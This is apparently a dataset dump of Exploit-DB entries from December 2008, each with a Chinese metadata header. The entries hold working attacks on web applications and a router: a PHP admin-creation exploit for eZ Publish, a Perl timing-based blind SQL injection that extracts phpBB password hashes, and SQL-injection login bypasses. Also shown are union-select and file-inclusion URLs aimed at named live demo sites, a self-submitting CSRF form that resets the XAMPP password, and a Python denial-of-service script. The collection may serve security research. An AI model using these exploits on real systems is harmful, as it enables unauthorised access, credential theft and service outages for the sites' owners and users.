QLWD/code_shield huggingface dataset:
标题: EZ Publish < 3.9.5/3.10.1/4.0.1 - Privilege Escalation EDB-ID: 7406 CVE: 2008-6844 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-10 漏洞利用脚本: <?php

/*
 eZ Publish privilege escalation exploit by s4avrd0w [s4avrd0w@p0c.ru]
 Versions affected >= 3.5.6
 Resolved in 3.9.5, 3.10.1, 4.0.1
 More info: http://ez.no/developer/security/security_advisories/ez_publish_3_9/ezsa_2008_003_insufficient_form_handling_made_privilege_escalation_possible

 * tested on version 3.9.0

 usage: 

 # ./eZPublish_privilege_escalation_exploit.php -u=username -p=password -e=email -s=EZPublish_server

 The options are required:

 -u Login of the new admin on eZ Publish
 -p Password of the new admin on eZ Publish
 -e Email where to go the letter for activation new admin account
 -s Target for privilege escalation

 example:

 # ./eZPublish_privilege_escalation_exploit.php -u=toor -p=P@ssw0rd -e=toor@mail.ru -s=http://127.0.0.1/
 [+] Exploit successfully sending
 [+] Activate your new account and be registered in system using toor/P@ssw0rd
*/

function help_argc($script_name)
{
print "
usage:

# ./".$script_name." -u=username -p=password -e=email -s=EZPublish_server

The options are required:
 -u Login of the new admin on eZ Publish
 -p Password of the new admin on eZ Publish
 -e Email where to go the letter for activation new admin account
 -s Target for privilege escalation

example:

# ./".$script_name." -u=toor -p=P@ssw0rd -e=toor@mail.ru -s=http://127.0.0.1/
[+] Exploit successfully sending
[+] Activate your new account and be registered in system using toor/P@ssw0rd

";
}

function successfully($login,$password)
{
print "
[+] Exploit successfully sending
[+] Activate your new account and be registered in system using $login/$password
";
}

if ($argc != 5 || in_array($argv[1], array('--help', '-help', '-h', '-?')))
{
 help_argc($argv[0]);
 exit(0);
}
else
{
 $ARG = array(); 
 foreach ($argv as $arg) { 
  if (strpos($arg, '-') === 0) { 
   $key = substr($arg,1,1);
   if (!isset($ARG[$key])) $ARG[$key] = substr($arg,3,strlen($arg)); 
  } 
 }

 if ($ARG[u] && $ARG[p] && $ARG[e] && $ARG[s])
 {

  $post_fields = array(
   'ContentObjectAttribute_data_user_login_30' => $ARG[u],
   'ContentObjectAttribute_data_user_password_30' => $ARG[p],
   'ContentObjectAttribute_data_user_password_confirm_30' => $ARG[p],
   'ContentObjectAttribute_data_user_email_30' => $ARG[e],
   'UserID' => '14',
   'PublishButton' => '1'
  );

  $headers = array(
      'User-Agent' => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14',
      'Referer' => $ARG[s]
  );

  $res_http = new HttpRequest($ARG[s]."/user/register", HttpRequest::METH_POST);
  $res_http->addPostFields($post_fields);
  $res_http->addHeaders($headers);
  try {
       $response = $res_http->send()->getBody();

   if (eregi("success", $response))
   {
    successfully($ARG[u],$ARG[p]);
   }
   else
   {
    print "[-] Exploit failed";
   }

  } catch (HttpException $exception) {

   print "[-] Not connected";
   exit(0);

  }

 }
 else
 {
  help_argc($argv[0]);
  exit(0);
 } 
}

?>

# milw0rm.com [2008-12-10] URL: https://www.exploit-db.com/exploits/7406
标题: Poll Pro 2.0 - Authentication Bypass EDB-ID: 7391 CVE: 2008-5573 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-09 漏洞利用脚本: ###########################################################################
#-------------------------------AlpHaNiX----------------------------------#
###########################################################################

#Found By : AlpHaNiX
#website  : www.offensivetrack.org
#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : PollPro
#Version  : v2.0
#download : null
#Demo     : http://www.pollpro.com/pollpro2/


###########################################################################

#Exploits :

--=[SQL INJECTION]=--
AUTH BYPASS :

username : ' or '1'='1
password : ' or '1'='1


###########################################################################

# milw0rm.com [2008-12-09] URL: https://www.exploit-db.com/exploits/7391
标题: Professional Download Assistant 0.1 - Authentication Bypass EDB-ID: 7390 CVE: 2008-5571 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-09 漏洞利用脚本: [~] Professional Download Assistant 0.1 Bypass
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] Date: 08/12/2008
[~]
[~] N0T: TUM iSLAM ALEMiNiN BAYRAMINI KUTLARIM...!
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] -----------------------------------------------------------

exp for demo: 

http://www.dotnetindex.com/demos/prodownloadmanager/admin/

user: ZoRLu

passwd: ' or '

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke 
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-12-09] URL: https://www.exploit-db.com/exploits/7390
标题: PHPmyGallery 1.0beta2 - Local/Remote File Inclusion EDB-ID: 7392 CVE: 2008-6317 2008-6316 2008-6315 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-09 漏洞利用脚本: [~] PHPmyGallery v~1.0beta2 RFi/LFi Multiple Remote Vuln.
[~]
[~] download: http://phpmygallery.kapierich.net/en/downloads/?dir=PHP/&getfile=PK_phpmygallery-1.0beta2.zip
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] Date: 08/12/2008
[~]
[~] N0T: TUM iSLAM ALEMiNiN BAYRAMINI KUTLARIM...!
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] -----------------------------------------------------------

file:

_conf/core/common-tpl-vars.php

c0de:

require($confdir.'lang/langpack.'.$lang.'.php');  ( line 23 )

rfi:

http://www.z0rlu.blogspot.com/script/_conf/core/common-tpl-vars.php?confdir=ZoRLu.txt?

lfi:

http://www.z0rlu.blogspot.com/script/_conf/core/common-tpl-vars.php?lang=[LFi]

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke 
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-12-09] URL: https://www.exploit-db.com/exploits/7392
标题: phpBB 3 - Mod Tag Board 4 Blind SQL Injection EDB-ID: 7386 CVE: 2008-6314 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-08 漏洞利用脚本: #!/usr/bin/perl 
# ---------------------------------------------------------------
# phpBB 3 (Mod Tag Board <= 4) Remote Blind SQL Injection Exploit  
# by athos - staker[at]hotmail[dot]it
# http://bx67212.netsons.org/forum/viewforum.php?f=3
# ---------------------------------------------------------------
# Note: Works regardless PHP.ini settings!
# Thanks meh also know as cHoBi
# ---------------------------------------------------------------

use strict;
use LWP::UserAgent;

my ($hash,$time1,$time2);

my @chars = (48..57, 97..102); 
my $http  = new LWP::UserAgent;

my $host  = shift;
my $table = shift;
my $myid  = shift or &usage;


sub injection
{
    my ($sub,$char) = @_;
    
    return "/tag_board.php?mode=controlpanel&action=delete&id=".
           "1+and+(select+if((ascii(substring(user_password,${sub},1)".
           ")=${char}),benchmark(230000000,char(0)),0)+from+${table}_us".
           "ers+where+user_id=${myid})--";
}


sub usage
{
    print STDOUT "Usage: perl $0 [host] [table_prefix] [user_id]\n";
    print STDOUT "Howto: perl $0 http://localhost/phpBB phpbb 2\n";
    print STDOUT "by athos - staker[at]hotmail[dot]it\n";
    exit;
}


syswrite(STDOUT,'Hash MD5: ');

for my $i(1..33)
{
    for my $j(0..16)
    {
        $time1 = time();

        $http->get($host.injection($i,$chars[$j]));
        
        $time2 = time();

        if($time2 - $time1 > 6)
        {
            syswrite(STDOUT,chr($chars[$j]));
            $hash .= chr($chars[$j]); 
            last;
        }
        
        if($i == 1 && length $hash < 0)
        {
            syswrite(STDOUT,"Exploit Failed!\n");
            exit;
        } 
    }
}

# milw0rm.com [2008-12-08] URL: https://www.exploit-db.com/exploits/7386
标题: Netref 4.0 - Multiple SQL Injections EDB-ID: 7396 CVE: 2008-5561 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-09 漏洞利用脚本: ############### SuB-ZeRo ###############
          ############### Dz-hackers #################
         Netref 4.0  Remote SQL Injection Vulnerability
-----------------------------------------------------------------------------------------------------------

[+]Discovred by : SuB-ZeRo
[+]Vendor URL : www.netref.net
[+]downloader : http://www.phpscripts-fr.net/scripts/download.php?id=627
[+]home: www.sub-z3ro.com / www.h4ck3r-dz.com
[+]ConTacTe: FbH@hotmail.com
[+]DoRk: FiNd It (SoOrY)
[+]exploit:
[+]http://[website]/[script]/fiche_product.php?id=-1+union+select+1,2,password,@@version,5,6,login,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24+from+BDT_USER--
[+]http://[website]/[script]/presentation.php?id=-1+union+select+1,2,password,4,5,login,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+BDT_USER--
[+]l!ve demo:
[+]http://netref.net/solutions/fiche_product.php?id=-1+union+select+1,2,password,@@version,5,6,login,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24+from+BDT_USER--
 
----------------------------------------------------------------------------------------------------------------------
[+]grettz : for my best frinde x.CJP.x / sousn / and all mouslims and eid sa3id for all arabs and mouslimme
----------------------------------------------------------------------------------------------------------------------
sub-z3ro.com sOoN

# milw0rm.com [2008-12-09] URL: https://www.exploit-db.com/exploits/7396
标题: Peel Shopping 3.1 - 'rubid' SQL Injection EDB-ID: 7395 CVE: 2008-6892 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-09 漏洞利用脚本: ############### SuB-ZeRo ###############
             ############### Dz-hackers #################
            PEEL Remote SQL Injection Vulnerability
-----------------------------------------------------------------------------------------------------------

[+]Discovred by : SuB-ZeRo
[+]Vendor URL : http://www.peel.fr/
[+]downloader : http://www.script-masters.com/home/voir_script_php_mysql-146.html
[+]home: www.sub-z3ro.com / www.h4ck3r-dz.com
[+]ConTacTe: FbH@hotmail.com
[+]DoRk: FiNd It (SoOrY)
[+]exploit:
[+]http://[website]/[script]/lire/index.php?rubid=1+union+select+1,@@version,3--
[+]http://[website]/[script]/index.php?rubid=1+union+select+1,@@version,3--
[+]l!ve demo:
[+]http://demo.peel.fr/lire/index.php?rubid=1+union+select+1,@@version,3--
 
----------------------------------------------------------------------------------------------------------------------
[+]grettz : for my best frinde x.CJP.x / sousn / bbbbbbbb / and all mouslims and eid sa3id for all arabs and mouslimme
----------------------------------------------------------------------------------------------------------------------
SooN sub-z3ro.com

# milw0rm.com [2008-12-09] URL: https://www.exploit-db.com/exploits/7395
标题: XAMPP 1.6.8 - Cross-Site Request Forgery (Change Administrative Password) EDB-ID: 7384 CVE: 2008-6499 2008-6498 类型: REMOTE 平台: WINDOWS 发布日期: 2008-12-08 漏洞利用脚本: XAMPP change administrative password:
--------------------------------------------------------------------------------
Written by Michael Brooks
special thanks to str0ke

Affects XAMPP 1.6.8.
homepage: http://www.apachefriends.org/
XAMPP has 17+ million downloads from sourceforge.net.
register_globals=On or Off
This attack is exploitable even when this page is reporting a fully
secure system: http://10.1.1.10/security/index.php

There are two vulnerabilities that are being used toagther.
1)Global variable manipulation to spoof ip address.
2)XSRF to change the .htaccess password for http://10.1.1.10/security/
 and http://10.1.1.10/xampp/ .

The $_SERVER[REMOTE_ADDR] comes directly from Apache's tcp socket and
this cannot normally be spoofed.
However extract($_POST); can be used to overwrite any declared
variable,  including the $_SERVER superglobal.  This can be used to
"spoof"  your ip address as 127.0.0.1
This xsrf attack can be exploited from a browser in any ip address, so
long as that browser is currently authenticated.

This vulnerable code is from the very top of: /security/xamppsecurity.php
<?php
       error_reporting(0);
       extract($_POST);
       extract($_SERVER);
       $host = "127.0.0.1";
       $timeout = "1";

       if ($REMOTE_ADDR) {
               if ($REMOTE_ADDR != $host) {
                       echo "<h2> FORBIDDEN FOR CLIENT $REMOTE_ADDR <h2>";
                       exit;
               }
       }
//...

//Start of xsrf attack
<html>
 <form action='http://10.1.1.10/security/xamppsecurity.php' method='POST' id=1>
           <input type="hidden" name="_SERVER[REMOTE_ADDR]" value="127.0.0.1">
  <input type=hidden name="xamppuser" value=admin >
  <input type=hidden name="xampppasswd" value=password>
  <input type=hidden name="xamppaccess" value="Make+safe+the+XAMPP+directory">
  <input type=submit>
 </form>
</html>
<script>
 document.getElementById(1).submit();
</script>
//End of xsrf attack

# milw0rm.com [2008-12-08] URL: https://www.exploit-db.com/exploits/7384
标题: Neostrada Livebox Router - Remote Network Down (PoC) EDB-ID: 7387 CVE: 2008-6497 类型: DOS 平台: WINDOWS 发布日期: 2008-12-08 漏洞利用脚本: # Neostrada Livebox Router Remote Network Down PoC Exploit
# Author: 0in aka zer0in from Dark-Coders Group!
# Contact: 0in.email(at)gmail.com / 0in(at)dark-coders.pl
# Site: http://dark-coders.pl
# Greetings to: All Dark-Coders Members: die,doctor,m4r1usz,sun8hclf ;*
#   Friends: cOndemned,joker,chomzee,TBH
#  IRC: #dark-coders & #pvt
# Description:
#  When we send a "specially crafted http packet" x ~25
# Livebox HTTP service && all network goes down 
# Simple PoC source:
#!/usr/bin/python

from socket import *
import os
import sys
target = "192.168.1.1"
def to_vuln(ip):
 suck = socket(AF_INET,SOCK_STREAM,0)
 try:
  conn = suck.connect((ip,80))
 except Exception:
  check(ip)
 return suck
def check(ip):
 print "[+] No HTTP response..."
 print "[+] Server and network should go down!"
 print "[+] Check it with ping..."
 os.system("ping "+ip)
i=0
print "[!] Neostrada Livebox Remote Network Down Exploit!!"
print "[!]   [HTTP DoS vuln]    "
print "[!]  by 0in [0in.email(at)gmail.com]    "
print "\n[+] Dosing..."
for i in range(256):
 pack3t = "GET /- HTTP/1.1\r\n\r\n" 
 POC = to_vuln(target)
 POC.send(pack3t)
 try:
  POC.recv(512)
 except Exception:
  check(target)

# milw0rm.com [2008-12-08] URL: https://www.exploit-db.com/exploits/7387
标题: Mini Blog 1.0.1 - 'index.php' Multiple Local File Inclusions EDB-ID: 7374 CVE: 2008-5594 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-07 漏洞利用脚本: /*

 $Id: miniblog-1.0.1-lfi.txt,v 0.1 2008/12/06 04:06:00 cOndemned Exp $
 
 Mini Blog 1.0.1 (index.php) Multiple Local File Inclusion Vulnerabilities
 Discovered by cOndemned

 Download : http://www.bpowerhouse.info/mini_blog.htm
 
 Greetz : ZaBeaTy, str0ke, d2, sid.psycho, Adish, TBH & Avantura ;*

*/

Source of index.php

 [...]

 7. $page = !empty($_GET['page']) ? $_GET['page'] : "";
 8. $admin = !empty($_GET['admin']) ? $_GET['admin'] : "";
 
 [...]
 
 77. if (($page != "") && file_exists("page/" . $page . ".php")) {
 78.  require("page/" . $page . ".php");
 79. } else if (($admin != "") && file_exists("admin/" . $admin . ".php")) {
 80.  require("admin/" . $admin . ".php");

 [...]
 

Proof of Concept

 http://[host]/[mini_blog_1.0.1_path]/index.php?page=../../../../[local_file]%00
 http://[host]/[mini_blog_1.0.1_path]/index.php?admin=../../../../[local_file]%00
 
 for example request :
 
 http://[host]/[mini_blog_1.0.1_path]/index.php?page=../../../../../etc/passwd%00
 
 ...might give result like this :

 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon...
 
 
EoF

# milw0rm.com [2008-12-07] URL: https://www.exploit-db.com/exploits/7374
标题: PHPmyGallery Gold 1.51 - 'index.php' Directory Traversal EDB-ID: 7377 CVE: 2008-5598 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-07 漏洞利用脚本: ############### Yee7.Com ###############
             ############### zAx #################
        PHPmyGallery Gold 1.51 (index.php) Folders Disclosure
 -----------------------------------------------------------------------------------------------------------

 [+] Script        : PHPmyGallery Gold 1.51
 [+] Vuln.          : Folders Disclosure
 [+] Download :http://phpmygallery.kapierich.net/en/downloads/
 [+] Discovered By  :         zAx [ThE-zAx@Hotmail.Com]
 [+] Team:  Electronic Security Team (Yee7.Com)

Exploit : http://site/phpmygallery/index.php?group=../somefolder

 [+]Somefolder is any folder in the vulnerable website
 [+] ../ = Up from this folder
 [+] You can see all folders those are in "somefolder"


[+] Important : This vulnerability is Discovered By Yee7-Team, By [ zAx ] and [ ShockShadow ]

# milw0rm.com [2008-12-07] URL: https://www.exploit-db.com/exploits/7377
标题: Professional Download Assistant 0.1 - Database Disclosure EDB-ID: 7371 CVE: 2008-5572 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-07 漏洞利用脚本: ####################################################################################################
# Professional Download Assistant (downloads.mdb) Database Disclosure Vulnerability                #
# Â© Ghost Hacker - REAL-H.COM                                                                      #
####################################################################################################
#[~] Author : Ghost Hacker                                                                         #
#[~] Homepage : http://Real-h.com                                                                  #
#[~] Contact Me : Ghost-r00t[at]Hotmail[dot]com                                                    #
#[~] Bug : Database Disclosure                                                                     #
#[~] Name Script : Professional Download Assistant                                                 #
#[~] Download : http://www.dotnetindex.com/downloads/easy_download_getinfo.asp?id=8                #
####################################################################################################
#[~]Exploit                                                                                        #
# http://xxxx.com/[path]/database/downloads.mdb                                                    #
##################################### ###############################################################
#[~]Greets :                                                                                       #
# Mr.SaFa7 [v4-team.com] , All Members Real-h.com and v4-team.net , All My Friends (3ed mobark)    #
####################################################################################################

# milw0rm.com [2008-12-07] URL: https://www.exploit-db.com/exploits/7371
标题: Product Sale Framework 0.1b - SQL Injection EDB-ID: 7368 CVE: 2008-5590 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-07 漏洞利用脚本: +++++++++++++++++++++++In The Name Of Allah+++++++++++++++++++++++++++
        +                                                                    +
        +         Product Sale Framework sql injection Vulnerability         +
        +                                                                    +
        +                      Discovered by b3hz4d                          +
        +                                                                    +
        +                      WwW.DeltaHacking.Net                          +
        +                                                                    +
        +                                                                    +
        +                                                                    +
        ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
                                  

                              APA Center of Yazd University   
                                 (https://www.ircert.cc)    

  
AUTHOR : b3hz4d (Seyed Behzad Shaghasemi)
DATE   : 06 Dec 2008
SITE   : WwW.DeltaHacking.Net
CONTACT: behzad_sh_66@yahoo.com

#####################################################

APPLICATION   : Product Sale Framework v0.1 beta
DOWNLOAD(free): http://www.productsaleframework.com/downloads/psf.zip
VENDOR        : http://www.productsaleframework.com
DEMO (links)  : http://www.productsaleframework.com

#####################################################


[+] vuln    : 
              customer.forumtopic.php
              
              vulnerability is in froum.all demo link(Admin demo,Affiliate demo,Customer demo) is here:
             
              http://www.productsaleframework.com/

[+] Exploit : 
              Admin Username and Password:

              http://www.kalptarudemos.com/demo/psf/customer/customer.forumtopic.php?forum_topic_id=-1 union select concat(username,0x3a,password),2,3,4,5,6 from psf_config_tb
    
               
##########################################################################################################

# Greetings: str0ke, Dr.Trojan, Cru3l.b0y, l0pht and all member in DeltaHacking.Net & Snoop-Security.Com #

##########################################################################################################

# milw0rm.com [2008-12-07] URL: https://www.exploit-db.com/exploits/7368
标题: XOOPS 2.3.1 - Multiple Local File Inclusions EDB-ID: 7380 CVE: 2008-6884 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-08 漏洞利用脚本: Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-040


Application:                    XOOPS   
Versions Affected:              2.3.1
Vendor URL:                     http://www.xoops.org/
Bug:                            Multiple Local File Include
Exploits:                       YES
Reported:                       10.11.2008
Vendor response:                10.11.2008
Solution:                       YES
Date of Public Advisory:        08.12.2008
Authors:                        Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

XOOPS has Multiple Local File Include vulnerabilities.



Details
*******

Local File Include vulnerability found in scripts:

xoops_lib/modules/protector/blocks.php
xoops_lib/modules/protector/main.php

Successful exploitation requires that "register_globals" is enabled.

Code
----
#################################################

$mytrustdirname = basename( dirname( __FILE__ ) ) ;
$mytrustdirpath = dirname( __FILE__ ) ;

// language files
$language = empty( $xoopsConfig['language'] ) ? 'english' : $xoopsConfig['language'] ;
if( file_exists( "$mydirpath/language/$language/main.php" ) ) {
        // user customized language file (already read by common.php)
        // include_once "$mydirpath/language/$language/main.php" ;
} else if( file_exists( "$mytrustdirpath/language/$language/main.php" ) ) {
        // default language file
        include_once "$mytrustdirpath/language/$language/main.php" ;
...

#################################################

For successful exploitation first condition in if..else statement must be not true.

Example:

http://[server]/[installdir]/xoops_lib/modules/protector/blocks.php?mydirpath=DSecRG/DSecRG/DSecRG&xoopsConfig[language]=../../../../../../../boot.ini%00
http://[server]/[installdir]/xoops_lib/modules/protector/main.php?mydirpath=DSecRG/DSecRG/DSecRG&xoopsConfig[language]=../../../../../../../boot.ini%00



Solution
********

Vendor fixed this flaw on 26.11.2008. 

XOOPS 2.3.2a Security Release can be download from Sourceforge repository:

https://sourceforge.net/project/showfiles.php?group_id=41586&package_id=153583&release_id=643010

Release notes:

http://www.xoops.org/modules/news/article.php?storyid=4540



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:    research [at] dsec [dot] ru
            http://www.dsec.ru (in Russian)

# milw0rm.com [2008-12-08] URL: https://www.exploit-db.com/exploits/7380